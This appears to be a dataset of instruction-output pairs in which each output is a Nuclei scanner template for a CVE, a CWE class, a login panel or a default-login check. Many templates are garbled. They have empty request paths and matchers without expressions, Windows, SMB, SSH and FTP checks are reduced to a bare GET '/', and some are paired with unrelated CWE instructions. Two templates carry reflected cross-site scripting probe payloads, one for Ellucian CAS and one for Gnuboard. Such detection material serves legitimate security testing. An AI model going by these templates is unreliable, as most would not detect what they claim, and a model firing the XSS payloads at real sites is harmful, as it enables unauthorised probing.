    matchers:
      - type: word
        words:
          - "<title>Odoo</title>"
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template to detect Exposure of Sensitive Information to an Unauthorized Actor

Input:
Title: Exposure of Sensitive Information to an Unauthorized Actor (CWE-200)
Summary: The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. There are many different kinds of mistakes that introduce information exposures. The severity of the error can range widely, depending on the context in which the product operates, the type of sensitive information that is revealed, and the benefits it may provide to an attacker.  Some kinds of sensitive information include:
        private, personal information, such as p
Vulnerability Type: Exposure of Sensitive Information to an Unauthorized Actor
Severity: medium
Indicators: error, unauthorized

Output:
id: springboot-info

info:
  name: Spring Boot Information Panel - Detect
  author: philippedelteil,tess,TheZakMan
  severity: info
  description: Spring Boot information panel displaying app name, version information, and other values was detected.
  tags: springboot,misconfig,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/info"
      - "{{BaseURL}}/actuator/info"
      - "{{BaseURL}}/management"
      - "{{BaseURL}}/management/info"
    matchers:
      - type: dsl
        condition: and
      - type: word
        words:
          - ""os""
          - ""runtime""
          - ""jvm""
          - ""build""
          - ""vendor""
        part: body
        condition: or


Instruction: Generate a Nuclei template for: Zyxel VSG1432-B101 - Login Detection

Input:
Title: Zyxel VSG1432-B101 - Login Detection
Summary: Zyxel VSG1432-B101 - Login Detection. Tags: tech, zyxel, modem
Vulnerability Type: Security Check
Severity: info
Indicators: vulnerability detected

Output:
id: zyxel-vsg1432b101-login

info:
  name: Zyxel VSG1432-B101 - Login Detection
  author: princechaddha
  severity: info
  description: Zyxel VSG1432-B101 - Login Detection
  tags: tech,zyxel,modem,router,panel,discovery

http:
  - method: GET
    path:
      - "{{BaseURL}}"
    matchers:
      - type: word
        words:
          - "Welcome to ZyXEL VSG1432-B101::"
        part: body
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for: Hasura GraphQL Engine - Server Side Request Forgery

Input:
Title: Hasura GraphQL Engine - Server Side Request Forgery
Summary: Hasura GraphQL Engine - Server Side Request Forgery. Hasura GraphQL Engine is vulnerable to SSRF( Server Side Request Forgery )
Vulnerability Type: Security Check
Severity: high
Indicators: vulnerability detected

Output:
id: hasura-graphql-ssrf

info:
  name: Hasura GraphQL Engine - Server Side Request Forgery
  author: princechaddha
  severity: high
  description: Hasura GraphQL Engine is vulnerable to SSRF( Server Side Request Forgery )
  tags: hasura,ssrf,graphql,vuln

http:
  - method: GET
    path:
    matchers:
      - type: status
        status:
          - 400
      - type: word
        words:
          - "http"
        part: interactsh_protocol


Instruction: Generate a Nuclei template for CVE-2022-1026

Input:
Title: Vulnerability (CWE-522) in kyocera net_viewer
Summary: Kyocera multifunction printers running vulnerable versions of Net View unintentionally expose sensitive user information, including usernames and passwords, through an insufficiently protected address book export function.
Vulnerability Type: Vulnerability (CWE-522)
Severity: high
Affected Products: kyocera net_viewer
Indicators: error, vulnerability detected

Output:
id: CVE-2022-1026

info:
  name: Kyocera Net View Address Book Exposure
  author: DhiyaneshDK
  severity: high
  description: Kyocera multifunction printers running vulnerable versions of Net View unintentionally expose sensitive user information, including usernames and passwords, through an insufficiently protected address book export function.
  tags: cve,cve2022,kyocera,exposure,vkev,vuln

http:
  - method: GET
    path:
    matchers:
      - type: word
        words:
          - "SOAP-ENV:Envelope"
          - "SOAP-ENV:Body"
        part: body
        condition: and
      - type: word
        words:
          - "text/xml"
        part: content_type
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for CVE-2024-11396

Input:
Title: Vulnerability (CWE-359) in awplife event_monster
Summary: The Event Monster – Event Management, Tickets Booking, Upcoming Event plugin for WordPress is vulnerable to Information Exposure in all versions up to, and including, 1.4.3 via the Visitors List Export file. During the export, a CSV file is created in the wp-content folder with a hardcoded filename that is publicly accessible. This makes it possible for unauthenticated attackers to extract data about event visitors, that includes first and last names, email, and phone number.
Vulnerability Type: Vulnerability (CWE-359)
Severity: medium
Affected Products: awplife event_monster
Indicators: error, vulnerability detected

Output:
id: CVE-2024-11396

info:
  name: Event Monster <= 1.4.3 - Information Exposure Via Visitors List Export
  author: s4e-io
  severity: medium
  description: The Event Monster Event Management, Tickets Booking, Upcoming Event plugin for WordPress is vulnerable to Information Exposure in all versions up to, and including, 1.4.3 via the Visitors List Export file. During the export, a CSV file is created in the wp-content folder with a hardcoded filename that is publicly accessible. This makes it possible for unauthenticated attackers to extract data about event visitors, that includes first and last names, email, and phone number.
  tags: cve,cve2024,wordpress,wp,wp-plugin,event-monster,info-leak,passive,vuln

http:
  - method: GET
    path:
    matchers:
      - type: dsl
        condition: and
  - method: GET
    path:
    matchers:
      - type: dsl
        condition: and


Instruction: Generate a Nuclei template for CVE-2025-4427

Input:
Title: Vulnerability (CWE-288) in ivanti endpoint_manager_mobile
Summary: An authentication bypass in the API component of Ivanti Endpoint Manager Mobile 12.5.0.0 and prior allows attackers to access protected resources without proper credentials via the API.
Vulnerability Type: Vulnerability (CWE-288)
Severity: medium
Affected Products: ivanti endpoint_manager_mobile
Indicators: error, vulnerability detected

Output:
id: CVE-2025-4427

info:
  name: Ivanti Endpoint Manager Mobile - Unauthenticated Remote Code Execution
  author: iamnoooob,rootxharsh,parthmalhotra,pdresearch
  severity: critical
  description: An authentication bypass in Ivanti Endpoint Manager Mobile allowing attackers to access protected resources without proper credentials. This leads to unauthenticated Remote Code Execution via unsafe userinput in one of the bean validators which is sink for Server-Side Template Injection.
  tags: cve,cve2025,ivanti,epmm,rce,ssti,kev,vkev,vuln

http:
  - method: GET
    path:
    matchers:
      - type: word
        words:
          - "localizedMessage"
        part: body
      - type: regex
        part: body
        condition: or
      - type: word
        words:
          - "dns"
        part: interactsh_protocol
      - type: status
        status:
          - 400


Instruction: Generate a Nuclei template for: Jeedom Security Checks

Input:
Title: Jeedom Security Checks
Summary: Jeedom Security Checks. A simple workflow that runs all Jeedom related nuclei templates on a given target.
Vulnerability Type: Security Check
Severity: info
Indicators: vulnerability detected

Output:
id: jeedom-workflow

info:
  name: Jeedom Security Checks
  author: daffainfo
  severity: info
  description: A simple workflow that runs all Jeedom related nuclei templates on a given target.
  tags: unknown

http:
  - method: GET
    path:
      - "/"
    matchers:
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for: Adobe Connect Username Exposure

Input:
Title: Adobe Connect Username Exposure
Summary: Adobe Connect Username Exposure. Adobe Connect Username is exposed.
Vulnerability Type: Security Check
Severity: low
Indicators: vulnerability detected

Output:
id: adobe-connect-username-exposure

info:
  name: Adobe Connect Username Exposure
  author: dhiyaneshDk
  severity: low
  description: Adobe Connect Username is exposed.
  tags: adobe,disclosure,packetstorm,misconfig,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/system/help/support"
    matchers:
      - type: word
        words:
          - "Administrators name:"
          - "Support Administrators email address:"
        part: body
        condition: and
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for: Chamilo LMS Security Checks

Input:
Title: Chamilo LMS Security Checks
Summary: Chamilo LMS Security Checks. A simple workflow that runs all Chamilo LMS related nuclei templates on a given target.
Vulnerability Type: Security Check
Severity: info
Indicators: vulnerability detected

Output:
id: chamilo-workflow

info:
  name: Chamilo LMS Security Checks
  author: daffainfo
  severity: info
  description: A simple workflow that runs all Chamilo LMS related nuclei templates on a given target.
  tags: unknown

http:
  - method: GET
    path:
      - "/"
    matchers:
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for: Password History Size Too Low

Input:
Title: Password History Size Too Low
Summary: Password History Size Too Low. Checks if the password history count is too low or not configured, allowing password reuse.
Vulnerability Type: Security Check
Severity: medium
Indicators: vulnerability detected

Output:
id: password-history-size-low

info:
  name: Password History Size Too Low
  author: princechaddha
  severity: medium
  description: Checks if the password history count is too low or not configured, allowing password reuse.
  tags: password,history,code,windows-audit

http:
  - method: GET
    path:
      - "/"
    matchers:
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template to detect Command Injection

Input:
Title: Command Injection (CWE-77)
Summary: The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component. Many protocols and products have their own custom command language. While OS or shell command strings are frequently discovered and targeted, developers may not realize that these other command languages might also be vulnerable to attac
Vulnerability Type: Command Injection
Severity: medium
Indicators: vulnerability detected, error

Output:
id: sonicwall-sslvpn-shellshock

info:
  name: Sonicwall SSLVPN - Remote Code Execution (ShellShock)
  author: PR3R00T
  severity: critical
  description: Sonicwall SSLVPN contains a 'ShellShock' vulnerability which allows remote unauthenticated attackers to execute arbitrary commands.
  tags: shellshock,sonicwall,rce,vpn,vuln

http:
  - method: GET
    path:
    matchers:
      - type: regex
        part: body
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for: Alibaba Nacos - Default Login

Input:
Title: Alibaba Nacos - Default Login
Summary: Alibaba Nacos - Default Login. The default username and password for Nacos are both nacos.

Vulnerability Type: Security Check
Severity: high
Indicators: vulnerability detected

Output:
id: nacos-default-login

info:
  name: Alibaba Nacos - Default Login
  author: SleepingBag945
  severity: high
  description: The default username and password for Nacos are both nacos.
  tags: nacos,default-login,alibaba,vuln

http:
  - method: GET
    path:
    matchers:
      - type: word
        words:
          - ""accessToken":"
          - ""username":"
        part: body
        condition: and
      - type: word
        words:
          - "application/json"
        part: header
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for: AWS Apps - Cloud Enumeration

Input:
Title: AWS Apps - Cloud Enumeration
Summary: AWS Apps - Cloud Enumeration. Searches for AWS apps (WorkDocs, WorkMail, Connect, etc.)

Vulnerability Type: Security Check
Severity: info
Indicators: vulnerability detected

Output:
id: aws-app-enum

info:
  name: AWS Apps - Cloud Enumeration
  author: initstring
  severity: info
  description: Searches for AWS apps (WorkDocs, WorkMail, Connect, etc.)
  tags: cloud,enum,cloud-enum,aws,discovery

http:
  - method: GET
    path:
    matchers:
      - type: status
        status:
          - 200
        condition: or


Instruction: Generate a Nuclei template for: Envoy Admin Exposure

Input:
Title: Envoy Admin Exposure
Summary: Envoy Admin Exposure. Envoy Admin page exposed.. Tags: misconfig, envoy, exposure
Vulnerability Type: Security Check
Severity: medium
Indicators: vulnerability detected

Output:
id: envoy-admin-exposure

info:
  name: Envoy Admin Exposure
  author: DhiyaneshDk
  severity: medium
  description: Envoy Admin page exposed.
  tags: misconfig,envoy,exposure,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}"
    matchers:
      - type: word
        words:
          - "<title>Envoy Admin</title>"
      - type: word
        words:
          - "text/html"
        part: header
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template to detect Exposure of Sensitive Information to an Unauthorized Actor

Input:
Title: Exposure of Sensitive Information to an Unauthorized Actor (CWE-200)
Summary: The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. There are many different kinds of mistakes that introduce information exposures. The severity of the error can range widely, depending on the context in which the product operates, the type of sensitive information that is revealed, and the benefits it may provide to an attacker.  Some kinds of sensitive information include:
        private, personal information, such as p
Vulnerability Type: Exposure of Sensitive Information to an Unauthorized Actor
Severity: medium
Indicators: error, unauthorized

Output:
id: server-backup-manager-se

info:
  name: Server Backup Manager SE Panel - Detect
  author: dhiyaneshDK
  severity: info
  description: Server Backup Manager SE login panel was detected.
  tags: panel,server,backup,manager,discovery

http:
  - method: GET
    path:
      - "{{BaseURL}}/login.zul"
    matchers:
      - type: regex
        part: body
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for: Content-Security-Policy Bypass - Google Maps RU

Input:
Title: Content-Security-Policy Bypass - Google Maps RU
Summary: Content-Security-Policy Bypass - Google Maps RU. Tags: xss, csp-bypass, google-maps-ru
Vulnerability Type: Security Check
Severity: medium
Indicators: vulnerability detected

Output:
id: google-maps-ru-csp-bypass

info:
  name: Content-Security-Policy Bypass - Google Maps RU
  author: renniepak,DhiyaneshDK
  severity: medium
  description: Content-Security-Policy Bypass - Google Maps RU
  tags: xss,csp-bypass,google-maps-ru,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}"
    matchers:
      - type: word
        words:
          - "Content-Security-Policy"
          - "google.ru"
        part: header
        condition: and


Instruction: Generate a Nuclei template for: phpBB Installation File Exposure

Input:
Title: phpBB Installation File Exposure
Summary: phpBB Installation File Exposure. phpBB is susceptible to the Installation page exposure due to misconfiguration.
Vulnerability Type: Security Check
Severity: high
Indicators: vulnerability detected

Output:
id: phpbb-installer

info:
  name: phpBB Installation File Exposure
  author: DhiyaneshDk
  severity: high
  description: phpBB is susceptible to the Installation page exposure due to misconfiguration.
  tags: misconfig,phpbb,install,exposure,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/install/app.php"
    matchers:
      - type: word
        words:
          - "Installation Panel"
          - "Introduction"
        part: body
        condition: and
      - type: word
        words:
          - "text/html"
        part: header
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for: ISPConfig Admin - Default Password

Input:
Title: ISPConfig Admin - Default Password
Summary: ISPConfig Admin - Default Password. ISPConfig Admin Default Password Vulnerability exposes systems to unauthorized access, compromising data integrity and security.

Vulnerability Type: Security Check
Severity: high
Indicators: vulnerability detected

Output:
id: ispconfig-admin-default-login

info:
  name: ISPConfig Admin - Default Password
  author: pussycat0x
  severity: high
  description: ISPConfig Admin Default Password Vulnerability exposes systems to unauthorized access, compromising data integrity and security.
  tags: default-login,ispconfig,vuln

http:
  - method: GET
    path:
    matchers:
      - type: word
        words:
          - "Tools"
          - "Websites"
        part: body_3
        condition: and
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template to detect Insufficiently Protected Credentials

Input:
Title: Insufficiently Protected Credentials (CWE-522)
Summary: The product transmits or stores authentication credentials, but it uses an insecure method that is susceptible to unauthorized interception and/or retrieval.
Vulnerability Type: Insufficiently Protected Credentials
Severity: medium
Indicators: unauthorized

Output:
id: kafka-center-default-login

info:
  name: Apache Kafka Center Default Login
  author: dhiyaneshDK
  severity: high
  description: Apache Kafka Center default admin credentials were discovered.
  tags: kafka,default-login,vuln

http:
  - method: GET
    path:
    matchers:
      - type: word
        words:
          - ""code":200"
          - ""name":"admin""
        condition: and
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for CVE-2024-52433

Input:
Title: Deserialization of Untrusted Data in mindstien my_geo_posts_free
Summary: Deserialization of Untrusted Data vulnerability in Mindstien Technologies My Geo Posts Free allows Object Injection.This issue affects My Geo Posts Free: from n/a through 1.2.
Vulnerability Type: Deserialization of Untrusted Data
Severity: critical
Affected Products: mindstien my_geo_posts_free
Indicators: error, vulnerability detected

Output:
id: CVE-2024-52433

info:
  name: My Geo Posts Free <= 1.2 - PHP Object Injection
  author: s4e-io
  severity: critical
  description: The My Geo Posts Free plugin for WordPress is vulnerable to PHP Object Injection in versions up to, and including, 1.2 via deserialization of untrusted input. This makes it possible for unauthenticated attackers to inject a PHP Object. No known POP chain is present in the vulnerable software. If a POP chain is present via an additional plugin or theme installed on the target system, it could allow the attacker to delete arbitrary files, retrieve sensitive data, or execute code.
  tags: cve,cve2024,wordpress,wp,wp-plugin,my-geo-posts-free,php,injection,vuln

http:
  - method: GET
    path:
    matchers:
      - type: dsl
        condition: and


Instruction: Generate a Nuclei template for CVE-2024-2053

Input:
Title: Vulnerability (CWE-23) in articatech artica_proxy
Summary: The Artica Proxy administrative web application will deserialize arbitrary PHP objects supplied by unauthenticated users and subsequently enable code execution as the "www-data" user. This issue was demonstrated on version 4.50 of the The Artica-Proxy administrative web application attempts to prevent local file inclusion. These protections can be bypassed and arbitrary file requests supplied by unauthenticated users will be returned according to the privileges of the "www-data" user.
Vulnerability Type: Vulnerability (CWE-23)
Severity: high
Affected Products: articatech artica_proxy
Indicators: error, vulnerability detected

Output:
id: CVE-2024-2053

info:
  name: Artica Proxy - Unauthenticated LFI
  author: pussycat0x
  severity: high
  description: The Artica Proxy administrative web application will deserialize arbitrary PHP objects supplied by unauthenticated users and subsequently enable code execution as the "www-data" user. This issue was demonstrated on version 4.50 of the The Artica-Proxy administrative web application attempts to prevent local file inclusion. These protections can be bypassed and arbitrary file requests supplied by unauthenticated users will be returned according to the privileges of the "www-data" user.
  tags: cve,cve2024,lfi,artica-proxy,articatech,vuln

http:
  - method: GET
    path:
    matchers:
      - type: regex
        part: body
      - type: word
        words:
          - "application/force-download"
        part: body
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for: Remote Access Enabled for SQL Server Database Instances

Input:
Title: Remote Access Enabled for SQL Server Database Instances
Summary: Remote Access Enabled for SQL Server Database Instances. Ensure that the "remote access" database flag is turned off for your Google Cloud SQL Server database instances. This prevents the execution of stored procedures from local or remote servers on which your SQL Server instances are running, improving security and compliance.

Vulnerability Type: Security Check
Severity: high
Indicators: vulnerability detected

Output:
id: gcloud-sql-remote-access-enabled

info:
  name: Remote Access Enabled for SQL Server Database Instances
  author: princechaddha
  severity: high
  description: Ensure that the "remote access" database flag is turned off for your Google Cloud SQL Server database instances. This prevents the execution of stored procedures from local or remote servers on which your SQL Server instances are running, improving security and compliance.
  tags: cloud,devops,gcp,gcloud,google-cloud-sql,sqlserver,gcp-cloud-config

http:
  - method: GET
    path:
      - "/"
    matchers:
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for: SMB Operating System - Detect

Input:
Title: SMB Operating System - Detect
Summary: SMB Operating System - Detect. Detect Operating System

Vulnerability Type: Security Check
Severity: info
Indicators: vulnerability detected

Output:
id: smb-os-detect

info:
  name: SMB Operating System - Detect
  author: pussycat0x
  severity: info
  description: Detect Operating System
  tags: js,network,smb,enum,os,discovery

http:
  - method: GET
    path:
      - "/"
    matchers:
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for CVE-2024-4340

Input:
Title: Vulnerability (CWE-674) in CVE-2024-4340
Summary: Passing a heavily nested list to sqlparse.parse() leads to a Denial of Service due to RecursionError.

Vulnerability Type: Vulnerability (CWE-674)
Severity: high
Indicators: error

Output:
id: CVE-2024-4340

info:
  name: sqlparse - Denial of Service
  author: KoYejune0302,cheoljun99,sim4110,gy741
  severity: high
  description: Passing a heavily nested list to sqlparse.parse() leads to a Denial of Service due to RecursionError.
  tags: cve,cve2024,py,code,dos,python,sqlparse,vuln

http:
  - method: GET
    path:
      - "/"
    matchers:
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for: Advanced Booking Calendar < 1.6.2 - SQL Injection

Input:
Title: Advanced Booking Calendar < 1.6.2 - SQL Injection
Summary: Advanced Booking Calendar < 1.6.2 - SQL Injection. The AJAX action abc_booking_getBookingResult, available to both authenticated and Unauthenticated users did not sanitise the calendarId parameter which was then concatenated to a SQL statement, leading an unauthenticated SQL injection issue. This could be used to retrieve information from the database, such as users' hashed password, username and email address.

Vulnerability Type: Security Check
Severity: critical
Indicators: vulnerability detected

Output:
id: advanced-booking-calendar-sqli

info:
  name: Advanced Booking Calendar < 1.6.2 - SQL Injection
  author: theamanrawat
  severity: critical
  description: The AJAX action abc_booking_getBookingResult, available to both authenticated and Unauthenticated users did not sanitise the calendarId parameter which was then concatenated to a SQL statement, leading an unauthenticated SQL injection issue. This could be used to retrieve information from the database, such as users' hashed password, username and email address.
  tags: time-based-sqli,sqli,wpscan,wordpress,wp-plugin,wp,advanced-booking-calendar,unauthenticated,vuln

http:
  - method: GET
    path:
    matchers:
      - type: dsl
        condition: and


Instruction: Generate a Nuclei template for: External Scripts Enabled in SQL Server Database Instances

Input:
Title: External Scripts Enabled in SQL Server Database Instances
Summary: External Scripts Enabled in SQL Server Database Instances. Ensure that the external scripts enabled database flag is turned off for your Google Cloud SQL Server database instances in order to disable the execution of scripts with certain remote language extensions.

Vulnerability Type: Security Check
Severity: high
Indicators: vulnerability detected

Output:
id: gcloud-sql-external-scripts-enabled

info:
  name: External Scripts Enabled in SQL Server Database Instances
  author: princechaddha
  severity: high
  description: Ensure that the external scripts enabled database flag is turned off for your Google Cloud SQL Server database instances in order to disable the execution of scripts with certain remote language extensions.
  tags: cloud,devops,gcp,gcloud,google-cloud-sql,sqlserver,gcp-cloud-config

http:
  - method: GET
    path:
      - "/"
    matchers:
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template to detect Confused Deputy

Input:
Title: Confused Deputy (CWE-441)
Summary: The product receives a request, message, or directive from an upstream component, but the product does not sufficiently preserve the original source of the request before forwarding the request to an external actor that is outside of the product's control sphere. This causes the product to appear to be the source of the request, leading it to act as a proxy or other intermediary between the upstream component and the external actor. If an attacker cannot directly contact a target, but the produc
Vulnerability Type: Confused Deputy
Severity: medium
Indicators: unexpected

Output:
id: digital-ocean-ssrf

info:
  name: Digital Ocean - Server-side request forgery (SSRF)
  author: DhiyaneshDk
  severity: critical
  description: Digital Ocean instance is vulnerable to SSRF.
  tags: digitalocean,ssrf,vuln

http:
  - method: GET
    path:
    matchers:
      - type: word
        words:
          - ""droplet_id":"
          - ""hostname":"
        part: body
        condition: and
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for CVE-2023-2822

Input:
Title: Cross-Site Scripting (XSS) in ellucian ethos_identity
Summary: A vulnerability was found in Ellucian Ethos Identity up to 5.10.5. It has been classified as problematic. Affected is an unknown function of the file /cas/logout. The manipulation of the argument url leads to cross site scripting. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. Upgrading to version 5.10.6 is able to address this issue. It is recommended to upgrade the affected component. The identifier of this vulnerability is VDB-229596.
Vulnerability Type: Cross-Site Scripting (XSS)
Severity: medium
Affected Products: ellucian ethos_identity
Indicators: error, vulnerability detected

Output:
id: CVE-2023-2822

info:
  name: Ellucian Ethos Identity CAS - Cross-Site Scripting
  author: Guax1
  severity: medium
  description: A vulnerability was found in Ellucian Ethos Identity up to 5.10.5. It has been classified as problematic. Affected is an unknown function of the file /cas/logout. The manipulation of the argument url leads to cross site scripting. It is possible to launch the attack remotely.
  tags: cve2023,cve,cas,xss,ellucian,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/cas/logout?url=https://oast.pro"><img%20src=x%20onerror=alert(document.domain)>"
    matchers:
      - type: word
        words:
          - "<img src=x onerror=alert(document.domain)>"
          - "Identity Server"
        part: body
        condition: and
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for: CampaignMonitor Takeover Detection

Input:
Title: CampaignMonitor Takeover Detection
Summary: CampaignMonitor Takeover Detection. CampaignMonitor takeover was detected.
Vulnerability Type: Security Check
Severity: high
Indicators: vulnerability detected

Output:
id: campaignmonitor-takeover

info:
  name: CampaignMonitor Takeover Detection
  author: pdteam
  severity: high
  description: CampaignMonitor takeover was detected.
  tags: takeover,campaignmonitor,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}"
    matchers:
      - type: word
        words:
          - "Email Newsletter Software"
          - "css.createsend1.com"
        condition: and


Instruction: Generate a Nuclei template for CVE-2024-48651

Input:
Title: Vulnerability (CWE-863) in CVE-2024-48651
Summary: In ProFTPD through 1.3.8b before cec01cc, supplemental group inheritance grants unintended access to GID 0 because of the lack of supplemental groups from mod_sql.
Vulnerability Type: Vulnerability (CWE-863)
Severity: high
Indicators: error, vulnerability detected

Output:
id: CVE-2024-48651

info:
  name: ProFTPD ≤ 1.3.8b - Privilege Escalation via mod_sql
  author: pussycat0x
  severity: high
  description: ProFTPD versions through 1.3.8b (before commit cec01cc) contain a vulnerability in the mod_sql module due to improper handling of supplemental groups. This flaw allows authenticated users without explicitly assigned supplemental groups to inherit root group privileges (GID 0), potentially granting unauthorized access to sensitive system resources.
  tags: cve,cve2024,network,ftp,proftpd,tcp,passive,priv-esc,vuln

http:
  - method: GET
    path:
      - "/"
    matchers:
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for: Coinlayer API Test

Input:
Title: Coinlayer API Test
Summary: Coinlayer API Test. Real-time Crypto Currency Exchange Rates
Vulnerability Type: Security Check
Severity: info
Indicators: vulnerability detected

Output:
id: api-coinlayer

info:
  name: Coinlayer API Test
  author: daffainfo
  severity: info
  description: Real-time Crypto Currency Exchange Rates
  tags: token-spray,coinlayer

http:
  - method: GET
    path:
      - "https://api.coinlayer.com/live?access_key={{token}}"
    matchers:
      - type: word
        words:
          - ""success""
          - ""terms""
          - ""privacy""
        part: body
        condition: and


Instruction: Generate a Nuclei template for: SSH - Default Logins

Input:
Title: SSH - Default Logins
Summary: SSH - Default Logins. Tags: js, ssh, default-login
Vulnerability Type: Security Check
Severity: critical
Indicators: vulnerability detected

Output:
id: ssh-default-logins

info:
  name: SSH - Default Logins
  author: tarunKoyalwar
  severity: critical
  description: SSH - Default Logins
  tags: js,ssh,default-login,network,fuzz,vuln

http:
  - method: GET
    path:
      - "/"
    matchers:
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template to detect Exposure of Sensitive Information to an Unauthorized Actor

Input:
Title: Exposure of Sensitive Information to an Unauthorized Actor (CWE-200)
Summary: The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. There are many different kinds of mistakes that introduce information exposures. The severity of the error can range widely, depending on the context in which the product operates, the type of sensitive information that is revealed, and the benefits it may provide to an attacker.  Some kinds of sensitive information include:
        private, personal information, such as p
Vulnerability Type: Exposure of Sensitive Information to an Unauthorized Actor
Severity: medium
Indicators: error, unauthorized

Output:
id: xnat-login

info:
  name: XNAT Login Panel - Detect
  author: 0x_Akoko
  severity: info
  description: XNAT login panel was detected.
  tags: xnat,panel,discovery

http:
  - method: GET
    path:
      - "{{BaseURL}}/app/template/Login.vm"
    matchers:
      - type: word
        words:
          - "<title>XNAT</title>"
      - type: word
        words:
          - "text/html"
        part: header
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template to detect Exposure of Sensitive Information to an Unauthorized Actor

Input:
Title: Exposure of Sensitive Information to an Unauthorized Actor (CWE-200)
Summary: The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. There are many different kinds of mistakes that introduce information exposures. The severity of the error can range widely, depending on the context in which the product operates, the type of sensitive information that is revealed, and the benefits it may provide to an attacker.  Some kinds of sensitive information include:
        private, personal information, such as p
Vulnerability Type: Exposure of Sensitive Information to an Unauthorized Actor
Severity: medium
Indicators: error, unauthorized

Output:
id: aviatrix-panel

info:
  name: Aviatrix Cloud Controller Panel
  author: pikpikcu,philippedelteil,daffainfo
  severity: info
  description: An Aviatrix Cloud Controller login panel was detected.
  tags: panel,aviatrix,discovery

http:
  - method: GET
    path:
      - "{{BaseURL}}"
    matchers:
      - type: word
        words:
          - "<title>Aviatrix"
          - "Controller</title>"
        part: body
        condition: and
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template to detect Improper Neutralization of Script-Related HTML Tags in a Web Page

Input:
Title: Improper Neutralization of Script-Related HTML Tags in a Web Page (CWE-80)
Summary: The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special characters such as "<", ">", and "&" that could be interpreted as web-scripting elements when they are sent to a downstream component that processes web pages.
Vulnerability Type: Improper Neutralization of Script-Related HTML Tags in a Web Page
Severity: medium
Indicators: vulnerability detected, error

Output:
id: gnuboard5-xss

info:
  name: Gnuboard 5 - Cross-Site Scripting
  author: arafatansari
  severity: medium
  description: Gnuboard 5 contains a cross-site scripting vulnerability via the clean_xss_tags() function called in new.php.
  tags: xss,gnuboard,gnuboard5,huntr,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/bbs/new.php?darkmode=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E"
    matchers:
      - type: word
        words:
          - "header\"><script>alert(document.domain)</script>.css?"
      - type: word
        words:
          - "text/html"
        part: header
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for: Content-Security-Policy Bypass - Naver Global APIs

Input:
Title: Content-Security-Policy Bypass - Naver Global APIs
Summary: Content-Security-Policy Bypass - Naver Global APIs
Vulnerability Type: Security Check
Severity: medium
Indicators: vulnerability detected

Output:
id: naver-global-apis-csp-bypass

info:
  name: Content-Security-Policy Bypass - Naver Global APIs
  author: renniepak,DhiyaneshDK
  severity: medium
  description: Content-Security-Policy Bypass - Naver Global APIs
  tags: xss,csp-bypass,naver-global-apis,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}"
    matchers:
      - type: word
        words:
          - "Content-Security-Policy"
          - "naver.com"
        part: header
        condition: and


Instruction: Generate a Nuclei template for: Stirling PDF - Detect

Input:
Title: Stirling PDF - Detect
Summary: Stirling PDF - Detect. Stirling PDF was detected.. Tags: tech, stirling-pdf, discovery
Vulnerability Type: Security Check
Severity: info
Indicators: vulnerability detected

Output:
id: stirling-pdf-detect

info:
  name: Stirling PDF - Detect
  author: s4e-io
  severity: info
  description: Stirling PDF was detected.
  tags: tech,stirling-pdf,discovery

http:
  - method: GET
    path:
      - "{{BaseURL}}"
    matchers:
      - type: word
        words:
          - "<title>Stirling PDF"
          - "<title>Stirling-PDF"
          - "content="Stirling PDF"
          - "window.stirlingPDF"
        part: body
        condition: or
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for: Anthem DeepPanda Trojan Kakfum Malware Hash - Detect

Input:
Title: Anthem DeepPanda Trojan Kakfum Malware Hash - Detect
Summary: Anthem DeepPanda Trojan Kakfum Malware Hash - Detect. Anthem Hack Deep Panda - Trojan.Kakfum sqlsrv32.dll

Vulnerability Type: Security Check
Severity: info
Indicators: vulnerability detected

Output:
id: anthem-deeppanda-malware-hash

info:
  name: Anthem DeepPanda Trojan Kakfum Malware Hash - Detect
  author: pussycat0x
  severity: info
  description: Anthem Hack Deep Panda - Trojan.Kakfum sqlsrv32.dll
  tags: malware,deeppanda

http:
  - method: GET
    path:
      - "/"
    matchers:
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template to detect Exposure of Sensitive Information to an Unauthorized Actor

Input:
Title: Exposure of Sensitive Information to an Unauthorized Actor (CWE-200)
